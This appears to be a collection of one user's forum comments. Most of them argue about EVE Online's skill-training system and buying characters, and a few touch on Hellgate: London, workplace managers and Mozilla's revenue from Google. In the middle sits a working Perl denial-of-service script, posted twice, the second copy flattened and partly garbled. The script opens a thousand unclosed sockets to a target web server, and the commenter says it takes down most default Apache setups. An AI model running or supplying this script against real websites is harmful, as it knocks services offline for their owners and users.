No, starting from scratch isn't fun. First you have to spend over a month just learning the learning skills. Or you can skip those, but fall even further behind in real skills (admittedly, you'd probably do a mix of them over time, get a few helpful skills and do learning overnight).

You don't HAVE to do the learning skills, it pays off later if you do but even getting them all to level 3 is enough to begin with.

Secondly, flying a little tiny ship that can't kill anything serious isn't fun.

If you don't understand the value of a Frigate in a fight you really don't understand the game and should probably read up on it more before commenting. And you can get into a Battleship with less than 5 days of training, starting from scratch.

Maybe you like it, but most people's idea is to fly something at least battlecruiser size, if not bigger. That takes years.

My troll-o-meter is starting to go off. You can into a Battlecruiser after 4 days and into a Battleship in less than 5.

it will take you X amount of clock time, no matter what you do. And X isn't measured in days or weeks- its in months or year+ for some ships

A Titan, which takes the longest possible amount of time to train for and which there are less than 400 of in the game takes around 250 days to train for. That's the worst case scenario. Most people have no use for a Titan and would never need to train for one.

Its a horrible, braindead system. Any system where its impossible to ever catch up is idiotic. No, idiotic is complaining about a system that you obviously don't understand. There are only so many skills that can affect, lets say Battlecruisers. So even if I have over 10 million skillpoints and you have 1 million, only 1 million of my skillpoints after affecting what I can do in a battlecruiser - so if you're 1 million are dedicated to bettlecruiser combat than you're tied with me, even though you're a 2 week old character. Yes, there is still a hurdle and some catching up to do - like in any MMO, unless you start on launch day you will be behind, but it is not as bad as you're making it out to be.

And buying a character for a hundred bucks or more is not a satisfactory answer. Not to mention you get stuck with whatever rep the guy who made the character had- I have friends who did that and got fucked over because the guy who used to run the character was hated.

Your friends are idiots for not doing background checks on the characters they were buying. And you buy the characters for in-game currency (although it is possible to use the time-card system to convert money to currency). But your complaint is the same as the WoW equivalent: "Why should I have to grind for a month before I can actually play the game?"

Hey, you like the game, go ahead and play it. But there's a reason why EvE is a niche game- it had some good ideas but its skill system means it will never hit the big time.

EVE is a niche game because CCP designed it to be a niche game. If it wasn't niche it would have already been steamrolled by WoW, STO etc. The funny thing is that people are under the delusion that the player base acutally want WoW-convert carebears playing, we do really because their rants and tears are hillarious but we also don't mind when they leave. Unless they start spreading bullshit like you are.

But to answer to your main point - it's /perfectly legal/ to purchase a character with 30M SP from the EVE forums (check the Character Bazaar part), if you don't feel like starting from scratch - you're allowed to buy a character.

Yeah, you typically find these people sitting in lowsec at a gate to highsec in a cap ship wondering why they can't jump :yarr: And yes, the GPP is full of bullshit, you can make a character right now, hop in frigate, fit it with a web and a warp scram and be useful in fleet fights.

Lets try that again, this time with line breaks.

use IO::Socket::INET;
use strict;
use constant DEFAULT_PORT => "http";

MAIN: {
if(@ARGV<1 or @ARGV>2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT_PORT;

my(@sockets);

for(my $cnt=0;$cnt<1000;++$cnt) {
my $socket=new IO::Socket::INET(PeerAddr=>$host,
PeerPort=>$port,
Proto=>"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket->print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}

Purely for educational purposes, have some Perl: This isn't mine, it was posted to a different Slashdot topic a while back. I have an adapted Perl version and I ported it to Python but I can't ignore the niggly voice in my head telling me not to post them :/ use IO::Socket::INET; use strict; use constant DEFAULT_PORT => "http"; MAIN: { if(@ARGV2) { die "Usage: $0 host [port]\n"; } my($host)=shift; my($port)=@ARGV?shift:DEFAULT_PORT; my(@sockets); for(my $cnt=0;$cnt$host, PeerPort=>$port, Proto=>"tcp"); unless(defined($socket)) { die "Cannot create socket to $host:$port--$!\n"; } $socket->print("\r\n"); push(@sockets,$socket); print " Have ".@sockets." open.\n"; } } Continously opens sockets to the webserver without closing them. Which brings down most websites on Apache with a default configuration, provided they don't have a cache (like varnishd) in front of the web-server.

Rule 1: Don't fly what you can't afford to lose
Rule 2: Don't fly what you can't afford to lose

You broke rules 1 and 2 of EVE. Why are you surprised you lost everything?

I wonder if they have a website?

Here in NZ, we're so technologically advanced that we're skipping laptops and going straight to "one server per child".

You're surprised by this? I think the fact that have Bill Roper on their team should have been a sufficient warning to steer clear. The video game industry must be the only one where someone can release a completely mess, cause over 100 people to lose their jobs due to your own incompetence and still want a company to employ you.

And yes, I'm bitter because I have a Hellgate: London disc that only served as a coaster.

Having the manager who can't help with the job you're doing present when things are going wrong seems to be the norm in every industry. If everything breaks down you call the manager, because they manage things, that's their job.

Are you sure? I know that in both Australia and New Zealand you are billed differently if you have Nightstore Heater, as just one example.

Most of the Mozilla Corporation's profit comes from Google. In 2006 they made 66.8 million dollars, 85% of which was from Google.[Citation given]

And now they're telling people to abandon Google and go with Bing -- which is owned by a competing that would gladly kill Firefox if given the chance.

I really think Dotzler is a bit off the mark here.